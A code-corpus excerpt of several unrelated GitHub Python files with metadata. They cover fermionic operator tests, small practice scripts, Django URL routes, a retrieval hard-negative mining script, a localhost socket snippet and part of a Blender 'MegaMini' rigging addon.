[qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n 0.5 * qib.util.crandn((L, L), rng))\n term2 = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n 0.5 * qib.util.crandn((L, L, L), rng))\n term3 = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_CREATE)],\n 0.5 * qib.util.crandn((L,), rng))\n term4 = qib.operator.FieldOperatorTerm(\n [qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL),\n qib.operator.IFODesc(field, qib.operator.IFOType.FERMI_ANNIHIL)],\n 0.5 * qib.util.crandn((L, L), rng))\n op_a = qib.FieldOperator([term1, term2])\n op_b = qib.FieldOperator([term3]) + qib.FieldOperator([term4])\n # logical product of the two field operators\n op_ab = op_a @ op_b\n # compare\n self.assertAlmostEqual(\n sparse.linalg.norm(op_a.as_matrix() @ op_b.as_matrix() - op_ab.as_matrix()), 0, delta=1e-12)\n\n\n# Alternative implementation of fermionic operators, as reference\n\n\ndef fermi_annihil_sign(n, a):\n \"\"\"\n Sign factor of annihilating modes encoded in `a` as 1-bits\n applied to state with occupied modes represented by `n`.\n \"\"\"\n if n & a == a:\n na = n - a\n counter = 0\n while a:\n # current least significant bit\n lsb = (a & -a)\n counter += (na & (lsb - 1)).bit_count()\n a -= lsb\n return 1 - 2*(counter % 2)\n # applying annihilation operator yields zero\n return 0\n\n\ndef fermi_create_sign(n, c):\n \"\"\"\n Sign factor of creating modes encoded in `c` as 1-bits\n applied to state with occupied modes represented by `n`.\n \"\"\"\n if n & c == 0:\n counter = 0\n while c:\n # current least significant bit\n lsb = (c & -c)\n counter += (n & (lsb - 1)).bit_count()\n c -= lsb\n return 1 - 2*(counter % 2)\n # applying creation operator yields zero\n return 0\n\n\ndef fermi_annihil_op(nmodes, a):\n \"\"\"\n Fermionic annihilation operator on full Fock space.\n \"\"\"\n data = np.array([fermi_annihil_sign(n, a) for n in range(2**nmodes)], dtype=float)\n row_ind = np.arange(2**nmodes) - a\n col_ind = np.arange(2**nmodes)\n nzi = np.nonzero(data)[0]\n return sparse.csr_matrix((data[nzi], (row_ind[nzi], col_ind[nzi])), shape=(2**nmodes, 2**nmodes))\n\n\ndef fermi_create_op(nmodes, c):\n \"\"\"\n Fermionic creation operator on full Fock space.\n \"\"\"\n data = np.array([fermi_create_sign(n, c) for n in range(2**nmodes)], dtype=float)\n row_ind = np.arange(2**nmodes) + c\n col_ind = np.arange(2**nmodes)\n nzi = np.nonzero(data)[0]\n return sparse.csr_matrix((data[nzi], (row_ind[nzi], col_ind[nzi])), shape=(2**nmodes, 2**nmodes))\n\n\ndef fermi_number_op(nmodes, f):\n \"\"\"\n Fermionic number operator on full Fock space.\n \"\"\"\n data = np.array([1 if (n & f == f) else 0 for n in range(2**nmodes)], dtype=float)\n ind = np.arange(2**nmodes)\n nzi = np.nonzero(data)[0]\n return sparse.csr_matrix((data[nzi], (ind[nzi], ind[nzi])), shape=(2**nmodes, 2**nmodes))\n\n\ndef construct_tight_binding_hamiltonian(μ: np.ndarray, t: np.ndarray, Δ: np.ndarray, pbc=False):\n \"\"\"\n Construct a fermionic tight-binding Hamiltonian on a two-dimensional Cartesian lattice\n with open boundary conditions and per-site coefficients.\n \"\"\"\n assert μ.ndim == 2\n lattsize = μ.shape\n nmodes = lattsize[0] * lattsize[1]\n H = sparse.csr_matrix((2**nmodes, 2**nmodes), dtype=float)\n # onsite term\n for x in range(lattsize[0]):\n for y in range(lattsize[1]):\n i = nmodes - (x*lattsize[1] + y) - 1\n H -= μ[x, y] * fermi_number_op(nmodes, 1 << i)\n for x in range(lattsize[0] if pbc else lattsize[0] - 1):\n x_next = (x + 1) % lattsize[0]\n for y in range(lattsize[1]):\n i = nmodes - (x *lattsize[1] + y) - 1\n j = nmodes - (x_next*lattsize[1] + y) - 1\n # kinetic hopping in x-direction\n H -= t[x, y, 0] * (fermi_create_op(nmodes, 1 << j) @ fermi_annihil_op(nmodes, 1 << i) +\n fermi_create_op(nmodes, 1 << i) @ fermi_annihil_op(nmodes, 1 << j))\n # superconducting pairing in x-direction\n H += Δ[x, y, 0] * (fermi_annihil_op(nmodes, 1 << i) @ fermi_annihil_op(nmodes, 1 << j) +\n fermi_create_op(nmodes, 1 << j) @ fermi_create_op(nmodes, 1 << i))\n for x in range(lattsize[0]):\n for y in range(lattsize[1] if pbc else lattsize[1] - 1):\n y_next = (y + 1) % lattsize[1]\n i = nmodes - (x*lattsize[1] + y ) - 1\n j = nmodes - (x*lattsize[1] + y_next) - 1\n # kinetic hopping in y-direction\n H -= t[x, y, 1] * (fermi_create_op(nmodes, 1 << j) @ fermi_annihil_op(nmodes, 1 << i) +\n fermi_create_op(nmodes, 1 << i) @ fermi_annihil_op(nmodes, 1 << j))\n # superconducting pairing in y-direction\n H += Δ[x, y, 1] * (fermi_annihil_op(nmodes, 1 << i) @ fermi_annihil_op(nmodes, 1 << j) +\n fermi_create_op(nmodes, 1 << j) @ fermi_create_op(nmodes, 1 << i))\n H.eliminate_zeros()\n return H\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"qc-tum/qib","sub_path":"tests/test_field_operator.py","file_name":"test_field_operator.py","file_ext":"py","file_size_in_byte":10447,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"14511488209","text":"import random\n\nGAME = 'What number is missing in the progression?'\nMIN_NUM = 2 # Minimum value of the first number of the progression\nMAX_NUM = 10 # Maximum value of first number in progression\nMIN_RANGE = 6 # Minimum length value of progression\nMAX_RANGE = 11 # Maximum length value of progression\nMIN_HIDDEN_NUM = 1 # Minimum value for hidden number\nMAX_HIDDEN_NUM = 5 # Maximum value for hidden number\n\n\ndef play():\n num = random.randint(MIN_NUM, MAX_NUM)\n diaposon = num - 1 # Range of progression increase\n range_ = random.randint(MIN_RANGE, MAX_RANGE)\n hidden_num = random.randint(MIN_HIDDEN_NUM, MAX_HIDDEN_NUM)\n return progression(num, diaposon, range_, hidden_num)\n\n\ndef progression(num, diaposon, range_, hidden_num):\n progression = []\n for i in range(1, range_):\n if i == hidden_num:\n progression.append('..')\n calc = num\n num += range_\n progression.append(str(num))\n num += range_\n string = ' '.join(progression)\n question = f'{string}'\n return question, calc\n","repo_name":"Artemka1989/python-project-49","sub_path":"brain_games/games/brain_progression.py","file_name":"brain_progression.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20756366246","text":"# to conut how many number of time a character is repeating\r\n\r\nfreq = {}\r\ns = input(\"Enter the string to be checked : \")\r\nfor c in s:\r\n if c not in freq :\r\n cnt = s.count(c)\r\n freq[c] = cnt\r\nfor c,cnt in freq.items():\r\n print(c,cnt)\r\n\r\n","repo_name":"lokeshraogujja/practice","sub_path":"character frequency.py","file_name":"character frequency.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14802653637","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('task/', views.task, name='task'),\n path('task/delete/', views.taskDelete, name='taskDelete'),\n path('document/', views.document, name='document'),\n path('document/delete/', views.documentDelete, name='documentDelete'),\n path('result/', views.resultDocument, name='resultDocument'),\n path('image/', views.showimage, name='image'),\n]","repo_name":"michal-madarasz/aiirProject","sub_path":"mpi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40777960927","text":"#sockpairs.py\n\ndef sockMerchant(n, ar):\n set_ar = []\n pair = []\n for item in range (len(ar)):\n if ar[item] not in set_ar:\n set_ar.append(ar[item])\n \n for socktype in range (len(set_ar)):\n if set_ar[socktype] in ar:\n count = ar.count(set_ar[socktype])\n pair.append(count)\n \n \n for socktype in range (len(pair)):\n pair[socktype] = int(pair[socktype] / 2)\n return sum(pair) \n \n \nn = 9\nar = [10,20,20,10,10,30,50,10,20]\nprint(sockMerchant(n, ar))","repo_name":"OzRhodes/Hackerrank","sub_path":"sockpairs.py","file_name":"sockpairs.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74808334488","text":"# * 반복문 돌려놓고 들어간다 *\n\ndef dfs(graph, v, visited=set()):\n start_v = 1\n stack = [start_v]\n visited.add(start_v)\n while len(stack) > 0:\n curr_v = stack.pop()\n print(f'방문 {curr_v}')\n for adj_v in graph[curr_v]:\n if adj_v not in visited:\n stack.append(adj_v)\n visited.add(adj_v)\n \n\ndfs([\n [],\n [2,3,8],\n [1,7],\n [1,4,5],\n [3,5],\n [3,4],\n [7],\n [2,6,8],\n [1,7],\n], 1)","repo_name":"bpeak/practice-algo","sub_path":"algobook/DFS2.py","file_name":"DFS2.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5690867750","text":"from bs4 import BeautifulSoup\nfrom datasets import load_dataset\nimport json\nimport multiprocessing as mp\nimport sys\nfrom tqdm import tqdm\n\nmbs = 10\n\nwiki_dpr = load_dataset('wiki_dpr', 'psgs_w100.nq.no_index', split='train')\n\n# construct elasticsearch index\nwiki_dpr.load_elasticsearch_index(\"context\", host=\"localhost\", port=\"9200\", es_index_name=\"wiki_dpr_full_es\")\n\n# load natural questions\nnatural_questions = load_dataset(\"natural_questions\", split=\"train\")\nelem_list = []\n\n\ndef compute_jsonl_line(elem_dict_out, pos, neg):\n answer = elem_dict_out['answer'].upper()\n\n # process positive articles\n positive_articles = pos['text']\n positive_articles_ids = pos['id']\n positive_articles_upper = list(map(lambda x: x.upper(), positive_articles))\n\n\n # process negative articles\n negative_articles = neg['text']\n negative_articles_ids = neg['id']\n negative_articles_upper = list(map(lambda x: x.upper(), negative_articles))\n\n\n elem_dict_out['hard_negative'] = []\n # determine which articles do NOT contain the answer\n for i in range(len(negative_articles_upper)):\n article_set = set(negative_articles_upper[i].split())\n answer_set = set(answer.split())\n length_del = len(article_set.union(answer_set) - article_set)\n if length_del != 0:\n elem_dict_out['hard_negative'].append(negative_articles_ids[i])\n\n\n elem_dict_out['positive'] = []\n # determine which articles do contain the answer\n for i in range(len(positive_articles_upper)):\n article_set = set(positive_articles_upper[i].split())\n answer_set = set(answer.split())\n length_del = len(article_set.union(answer_set) - article_set)\n if length_del == 0:\n elem_dict_out['positive'].append(positive_articles_ids[i])\n\n\n return elem_dict_out\n\ndef hard_negative_mine(idx):\n elem = natural_questions[idx*mbs:(idx+1)*mbs]\n # create the output dictionary for jsonl.\n elem_dict_list = []\n for idx in range(len(elem['id'])):\n q = elem['question'][idx]['text']\n a = elem['annotations'][idx]['short_answers'][0]['text']\n\n # if there is no answer, skips this question\n if len(a) == 0:\n continue\n else:\n a = a[0]\n elem_dict = {\n \"question\" : q,\n 'answer' : a\n } \n\n # if the answer is empty, skip\n if len(elem_dict['answer']) != 0:\n elem_dict_list.append(elem_dict)\n\n query_list = list(map(lambda x: x['question'], elem_dict_list))\n query_answer_list = list(map(lambda x: x['question'] + \" \" + x['answer'], elem_dict_list))\n\n _, positive_examples = wiki_dpr.get_nearest_examples_batch(\"context\", query_answer_list, k=5)\n _, negative_examples = wiki_dpr.get_nearest_examples_batch(\"context\", query_list, k=5)\n\n input = zip(elem_dict_list, positive_examples, negative_examples) \n output = list(map(lambda x: compute_jsonl_line(x[0], x[1], x[2]), input))\n\n return output\n\n\n# multithread the hard negative mining\npool = mp.Pool(12)\nrange_list = list(map(lambda x: -x, list(range(0, len(natural_questions), mbs))))\nelem_list = list(tqdm(pool.imap(hard_negative_mine, range_list), total=len(range_list)))\npool.close()\n\nprint(elem_list[-1])\n\n# filter out all ements of elem_list that are None\nelem_list = [elem for elem in elem_list if elem is not None]\n\n# save list of dictionaries to a jsonl file\nwith open('wiki_dpr_full_es.jsonl', 'w') as f:\n for elem in elem_list:\n f.write(json.dumps(elem) + '\\n')\n\n","repo_name":"LouisCastricato/Varying-Hardness","sub_path":"wiki_construct_dataset.py","file_name":"wiki_construct_dataset.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72664271768","text":"connect_to = \"127.0.0.1\"\nport = 12345\nsss = socket.gethostname()\nwhile True:\n time.sleep(2)\n if disk_check():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((connect_to, 12345))\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.send(bytes(\"There is no disk availability.\", 'utf-8'))\n s.close()\n exit()","repo_name":"takuma66/py_socket","sub_path":"quit_server.py","file_name":"quit_server.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14589038129","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 3\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\nimport bpy\nimport math\nimport mathutils\nfrom rna_prop_ui import rna_idprop_ui_prop_get\n\nif bpy.app.version < (2,80,0):\n from .imp_v27 import (create_mesh_obj_from_pydata, get_cursor_location)\nelse:\n from .imp_v28 import (create_mesh_obj_from_pydata, get_cursor_location)\n\nRIG_BASENAME = \"MegaMini\"\nPROXY_FIELD_BNAME = \"ProxyField\"\nPROXY_OBSERVER_BNAME = \"ProxyObserver\"\nOBSERVER_BNAME = \"Observer\"\nPROXY_PLACE_BNAME = \"ProxyPlace\"\nPROXY_PLACE_FOCUS_BNAME = \"ProxyPlaceFocus\"\nPLACE_BNAME = \"Place\"\n\nOBJ_PROP_SCALE = \"mega_mini_scale\"\nOBJ_PROP_FP_POWER = \"mega_mini_fp_power\"\nOBJ_PROP_FP_MIN_DIST = \"mega_mini_fp_min_dist\"\nOBJ_PROP_FP_MIN_SCALE = \"mega_mini_fp_min_scale\"\nOBJ_PROP_BONE_SCL_MULT = \"mega_mini_bone_scl_mult\"\n\nPROXY_FIELD_BONEHEAD = (0, 0, 0)\nPROXY_FIELD_BONETAIL = (0, 6.854101911, 0)\nPROXY_OBSERVER_BONEHEAD = (0, 0, 0)\nPROXY_OBSERVER_BONETAIL = (0, 0.034441854, 0)\nOBSERVER_BONEHEAD = (0, 0, 0)\nOBSERVER_BONETAIL = (0, 0.61803399, 0)\nPROXY_PLACE_BONEHEAD = (0, 0, 0)\nPROXY_PLACE_BONETAIL = (0, 0.090169945, 0)\nPROXY_PLACE_FOCUS_BONEHEAD = (0, 0, 0)\nPROXY_PLACE_FOCUS_BONETAIL = (0, 0.034441854, 0)\nPLACE_BONEHEAD = (0, 0, 0)\nPLACE_BONETAIL = (0, 4, 0)\n\nPROXY_FIELD_BONELAYERS = [(x==0) for x in range(32)]\nPROXY_OBSERVER_BONELAYERS = [(x==1) for x in range(32)]\nPROXY_PLACE_BONELAYERS = [(x==2) for x in range(32)]\nPROXY_PLACE_FOCUS_BONELAYERS = PROXY_PLACE_BONELAYERS\nOBSERVER_BONELAYERS = [(x==17) for x in range(32)]\nPLACE_BONELAYERS = [(x==18) for x in range(32)]\n\nRIG_BONEVIS_LAYERS = [(x in [0, 1, 2, 17, 18]) for x in range(32)]\n\nWIDGET_TRIANGLE_OBJNAME = \"WGT_Tri\"\nWIDGET_PINCH_TRIANGLE_OBJNAME = \"WGT_PinchTri\"\nWIDGET_QUAD_OBJNAME = \"WGT_Quad\"\nWIDGET_PINCH_QUAD_OBJNAME = \"WGT_PinchQuad\"\nWIDGET_CIRCLE_OBJNAME = \"WGT_Circle\"\nWIDGET_CARDIOD_OBJNAME = \"WGT_Cardiod\"\n\nTRI_WIDGET_NAME = \"WidgetTriangle\"\nTRI_PINCH_WIDGET_NAME = \"WidgetPinchTriangle\"\nQUAD_WIDGET_NAME = \"WidgetQuad\"\nPINCH_QUAD_WIDGET_NAME = \"WidgetPinchQuad\"\nCIRCLE_WIDGET_NAME = \"WidgetCircle\"\nCARDIOD_WIDGET_NAME = \"WidgetCardiod\"\n\nWIDGET_CIRCLE_VERT_COUNT = 32\nWIDGET_CARDIOD_VERT_COUNT = 32\n\nMEGA_MINI_CUSTOM_NODE_GROUP_NAME = \"MegaMiniGeoNodeGroup\"\n\n# check if 'ob' is a MegaMini Rig and return False if 'ob' is not a MegaMini Rig, otherwise return True\ndef is_mega_mini_rig(ob):\n if ob is None or not hasattr(ob, 'type') or ob.type != 'ARMATURE' or \\\n ob.data.bones.get(PROXY_OBSERVER_BNAME) is None or ob.data.bones.get(PROXY_FIELD_BNAME) is None:\n return False\n return True\n\n# if a MegaMini Rig is found in the parent-hierarchy of ob, then return the rig and the associated 'Place' bone,\n# otherwise return None\ndef get_parent_mega_mini_rig(ob):\n if ob.parent is None:\n return None, None\n if is_mega_mini_rig(ob.parent):\n # return MegaMiniRig, MegaMiniRigPlaceBoneName\n return ob.parent, ob.parent_bone\n # recursively search parent(s) for MegaMini Rig\n return get_parent_mega_mini_rig(ob.parent)\n\ndef get_collection_by_name(root_collection, collection_name):\n if root_collection.name == collection_name:\n return root_collection\n\n for c in root_collection.children:\n coll = get_collection_by_name(c, collection_name)\n if coll != None:\n return coll\n\ndef collection_hide_in_viewport(context, collection_name):\n for v_layer in context.scene.view_layers:\n coll = get_collection_by_name(v_layer.layer_collection, collection_name)\n if coll is None:\n continue\n coll.hide_viewport = True\n\ndef create_widget_triangle(collection_name=None):\n verts = [(math.sin(math.radians(deg)), math.cos(math.radians(deg)), 0) for deg in [0, 120, 240]]\n edges = [ ( x, (x+1)*(x+1!=len(verts)) ) for x in range(len(verts)) ]\n if collection_name is None:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_TRIANGLE_OBJNAME)\n else:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_TRIANGLE_OBJNAME,\n collection_name=collection_name)\n\ndef create_widget_pinch_triangle(collection_name=None):\n verts = [(r * math.sin(math.radians(deg)), r * math.cos(math.radians(deg)), 0) for (deg, r) in\n [(0, 1), (60, 0.35), (120, 1), (180, 0.35), (240, 1), (300, 0.35)]]\n edges = [ ( x, (x+1)*(x+1!=len(verts)) ) for x in range(len(verts)) ]\n if collection_name is None:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_PINCH_TRIANGLE_OBJNAME)\n else:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_PINCH_TRIANGLE_OBJNAME,\n collection_name=collection_name)\n\ndef create_widget_square(collection_name=None):\n verts = [(-0.5, -0.5, 0),\n (0.5, -0.5, 0),\n (0.5, 0.5, 0),\n (-0.5, 0.5, 0), ]\n edges = [ ( x, (x+1)*(x+1!=len(verts)) ) for x in range(len(verts)) ]\n if collection_name is None:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_QUAD_OBJNAME)\n else:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_QUAD_OBJNAME,\n collection_name=collection_name)\n\ndef create_widget_pinch_square(collection_name=None):\n verts = [(-0.5, -0.5, 0),\n (0.0, -0.4, 0),\n (0.5, -0.5, 0),\n (0.4, 0.0, 0),\n (0.5, 0.5, 0),\n (0.0, 0.4, 0),\n (-0.5, 0.5, 0),\n (-0.4, 0.0, 0),]\n edges = [ ( x, (x+1)*(x+1!=len(verts)) ) for x in range(len(verts)) ]\n if collection_name is None:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_PINCH_QUAD_OBJNAME)\n else:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_PINCH_QUAD_OBJNAME,\n collection_name=collection_name)\n\ndef create_widget_circle(collection_name=None):\n verts = [(math.sin(rads), math.cos(rads), 0) for rads in \\\n [index/WIDGET_CIRCLE_VERT_COUNT*2*math.pi for index in range(WIDGET_CIRCLE_VERT_COUNT)]]\n edges = [ ( x, (x+1)*(x+1!=len(verts)) ) for x in range(len(verts)) ]\n if collection_name is None:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_CIRCLE_OBJNAME)\n else:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_CIRCLE_OBJNAME,\n collection_name=collection_name)\n\ndef create_widget_cardiod(collection_name=None):\n verts = [((1-math.cos(rads))*math.sin(rads), (1-math.cos(rads))*math.cos(rads), 0) for rads in \\\n [index/WIDGET_CARDIOD_VERT_COUNT*2*math.pi for index in range(WIDGET_CARDIOD_VERT_COUNT)]]\n edges = [ ( x, (x+1)*(x+1!=len(verts)) ) for x in range(len(verts)) ]\n if collection_name is None:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_CARDIOD_OBJNAME)\n else:\n return create_mesh_obj_from_pydata(verts, edges=edges, obj_name=WIDGET_CARDIOD_OBJNAME,\n collection_name=collection_name)\n\ndef create_mege_mini_widgets(context):\n # if v2.7 or earlier\n if bpy.app.version < (2,80,0):\n tri_obj = create_widget_triangle()\n tri_pinch_obj = create_widget_pinch_triangle()\n quad_obj = create_widget_square()\n pinch_quad_obj = create_widget_pinch_square()\n circle_obj = create_widget_circle()\n cardiod_obj = create_widget_cardiod()\n\n # widgets are only in final layer\n tri_obj.layers[19] = True\n tri_pinch_obj.layers[19] = True\n quad_obj.layers[19] = True\n pinch_quad_obj.layers[19] = True\n circle_obj.layers[19] = True\n cardiod_obj.layers[19] = True\n for i in range(19):\n tri_obj.layers[i] = False\n tri_pinch_obj.layers[i] = False\n quad_obj.layers[i] = False\n pinch_quad_obj.layers[i] = False\n circle_obj.layers[i] = False\n cardiod_obj.layers[i] = False\n # else v2.8 or later\n else:\n new_collection = bpy.data.collections.new(\"MegaMiniHidden\")\n new_collection.hide_render = True\n # link new collection to currently active collection\n context.view_layer.active_layer_collection.collection.children.link(new_collection)\n collection_hide_in_viewport(context, new_collection.name)\n\n # widgets are in MegaMiniHidden collection\n tri_obj = create_widget_triangle(collection_name=new_collection.name)\n tri_pinch_obj = create_widget_pinch_triangle(collection_name=new_collection.name)\n quad_obj = create_widget_square(collection_name=new_collection.name)\n pinch_quad_obj = create_widget_pinch_square(collection_name=new_collection.name)\n circle_obj = create_widget_circle(collection_name=new_collection.name)\n cardiod_obj = create_widget_cardiod(collection_name=new_collection.name)\n\n widget_ob_dict = { TRI_WIDGET_NAME : tri_obj,\n TRI_PINCH_WIDGET_NAME : tri_pinch_obj,\n QUAD_WIDGET_NAME : quad_obj,\n PINCH_QUAD_WIDGET_NAME : pinch_quad_obj,\n CIRCLE_WIDGET_NAME: circle_obj,\n CARDIOD_WIDGET_NAME: cardiod_obj,\n }\n return widget_ob_dict\n\ndef add_bconst_scl_influence_driver(mega_mini_rig, proxy_obs_bconst):\n drv_copy_loc = proxy_obs_bconst.driver_add('influence').driver\n\n v_mega_mini_scale = drv_copy_loc.variables.new()\n v_mega_mini_scale.type = 'SINGLE_PROP'\n v_mega_mini_scale.name = \"mega_mini_scl\"\n v_mega_mini_scale.targets[0].id = mega_mini_rig\n v_mega_mini_scale.targets[0].data_path = \"[\\\"\"+OBJ_PROP_SCALE+\"\\\"]\"\n\n drv_copy_loc.expression = \"1 / \" + v_mega_mini_scale.name\n\n# Notes:\n# - 'Field' is the mega_mini_rig itself, 'ProxyField' is intended to be like a 'TV remote controller',\n# easy to pick up and move around in the scene, without modifying the positions of objects in the rig\n# - 'ProxyField' is a Scaled Remote Controller for an Actual World of objects\ndef create_mega_mini_armature(context, mega_mini_scale, mega_mini_fp_power, mega_mini_fp_min_dist,\n mega_mini_fp_min_scale):\n widget_objs = create_mege_mini_widgets(context)\n\n old_3dview_mode = context.mode\n\n # create MegaMini mega_mini_rig and enter EDIT mode\n bpy.ops.object.armature_add(enter_editmode=True, location=(0, 0, 0))\n mega_mini_rig = context.active_object\n # the mega_mini_rig represents the \"actual space\", the ProxyField bone represents the \"scaled space\"\n mega_mini_rig.name = RIG_BASENAME\n mega_mini_rig[OBJ_PROP_SCALE] = mega_mini_scale\n mega_mini_rig[OBJ_PROP_FP_POWER] = mega_mini_fp_power\n mega_mini_rig[OBJ_PROP_FP_MIN_DIST] = mega_mini_fp_min_dist\n mega_mini_rig[OBJ_PROP_FP_MIN_SCALE] = mega_mini_fp_min_scale\n # set min values for the MegaMini custom props\n if bpy.app.version < (2,80,0):\n ui = rna_idprop_ui_prop_get(mega_mini_rig, OBJ_PROP_SCALE)\n ui['description'] = \"Proxy Scale Factor\"\n ui['default'] = 1000.0\n ui['min'] = ui['soft_min'] = 0.0\n ui['max'] = ui['soft_max'] = 2e38\n ui = rna_idprop_ui_prop_get(mega_mini_rig, OBJ_PROP_FP_POWER)\n ui['description'] = \"Forced Perspective Distance Power\"\n ui['default'] = 0.5\n ui['min'] = ui['soft_min'] = -2e38\n ui['max'] = ui['soft_max'] = 2e38\n ui = rna_idprop_ui_prop_get(mega_mini_rig, OBJ_PROP_FP_MIN_DIST)\n ui['description'] = \"Forced Perspective Minimum Distance\"\n ui['default'] = 0.0\n ui['min'] = ui['soft_min'] = 0.0\n ui['max'] = ui['soft_max'] = 2e38\n ui = rna_idprop_ui_prop_get(mega_mini_rig, OBJ_PROP_FP_MIN_SCALE)\n ui['description'] = \"Forced Perspective Minimum Scale\"\n ui['default'] = 0.0\n ui['min'] = ui['soft_min'] = 0.0\n ui['max'] = ui['soft_max'] = 2e38\n else:\n # https://developer.blender.org/D9697\n ui_data = mega_mini_rig.id_properties_ui(OBJ_PROP_SCALE)\n ui_data.update(description=\"Proxy Scale Factor\")\n ui_data.update(default=1000.0)\n ui_data.update(min=0.0)\n ui_data = mega_mini_rig.id_properties_ui(OBJ_PROP_FP_POWER)\n ui_data.update(description=\"Forced Perspective Distance Power\")\n ui_data.update(default=0.5)\n ui_data = mega_mini_rig.id_properties_ui(OBJ_PROP_FP_MIN_DIST)\n ui_data.update(description=\"Forced Perspective Minimum Distance\")\n ui_data.update(default=0.0)\n ui_data.update(min=0.0)\n ui_data = mega_mini_rig.id_properties_ui(OBJ_PROP_FP_MIN_SCALE)\n ui_data.update(description=\"Forced Perspective Minimum Scale\")\n ui_data.update(default=0.0)\n ui_data.update(min=0.0)\n\n # ensure mega_mini_rig will display custom bone shapes\n mega_mini_rig.data.show_bone_custom_shapes = True\n # modify default bone to make ProxyField bone, to hold proxies for observer(s) and actual place(s)\n b_proxy_field = mega_mini_rig.data.edit_bones[0]\n b_proxy_field.head = mathutils.Vector(PROXY_FIELD_BONEHEAD)\n b_proxy_field.tail = mathutils.Vector(PROXY_FIELD_BONETAIL)\n b_proxy_field.name = PROXY_FIELD_BNAME\n proxy_field_bname = b_proxy_field.name\n b_proxy_field.show_wire = True\n b_proxy_field.layers = PROXY_FIELD_BONELAYERS\n\n b_proxy_observer = mega_mini_rig.data.edit_bones.new(name=PROXY_OBSERVER_BNAME)\n # save bone name for later use (in Pose bones mode, where the edit bones name may not be usable - will cause error)\n proxy_observer_bname = b_proxy_observer.name\n # set bone data\n b_proxy_observer.head = mathutils.Vector(PROXY_OBSERVER_BONEHEAD)\n b_proxy_observer.tail = mathutils.Vector(PROXY_OBSERVER_BONETAIL)\n b_proxy_observer.parent = b_proxy_field\n b_proxy_observer.show_wire = True\n b_proxy_observer.layers = PROXY_OBSERVER_BONELAYERS\n\n b_observer = mega_mini_rig.data.edit_bones.new(name=OBSERVER_BNAME)\n observer_bname = b_observer.name\n b_observer.head = mathutils.Vector(OBSERVER_BONEHEAD)\n b_observer.tail = mathutils.Vector(OBSERVER_BONETAIL)\n b_observer.show_wire = True\n b_observer.layers = OBSERVER_BONELAYERS\n\n # enter Pose mode to allow adding bone constraints\n bpy.ops.object.mode_set(mode='POSE')\n # apply custom bone shapes to Sun Target, Sensor, and Blinds (apply to Blinds by way of Diff Cube),\n mega_mini_rig.pose.bones[proxy_observer_bname].custom_shape = \\\n bpy.data.objects[widget_objs[TRI_PINCH_WIDGET_NAME].name]\n mega_mini_rig.pose.bones[observer_bname].custom_shape = bpy.data.objects[widget_objs[TRI_WIDGET_NAME].name]\n mega_mini_rig.pose.bones[proxy_field_bname].custom_shape = bpy.data.objects[widget_objs[CIRCLE_WIDGET_NAME].name]\n # Add bone constraint 'Copy Location' to ProxyObserver, so ProxyObserver bone can be adjusted (fine-tuned) with\n # Observer bone, e.g. add 'Copy Location' bone constraint to Observer bone to copy scene Camera location,\n # so forced perspective always looks correct to Camera.\n proxy_obs_bconst = mega_mini_rig.pose.bones[proxy_observer_bname].constraints.new(type='COPY_LOCATION')\n proxy_obs_bconst.target = mega_mini_rig\n proxy_obs_bconst.subtarget = observer_bname\n proxy_obs_bconst.use_offset = True\n # change space types to LOCAL, to prevent problems if MegaMini rig is moved\n 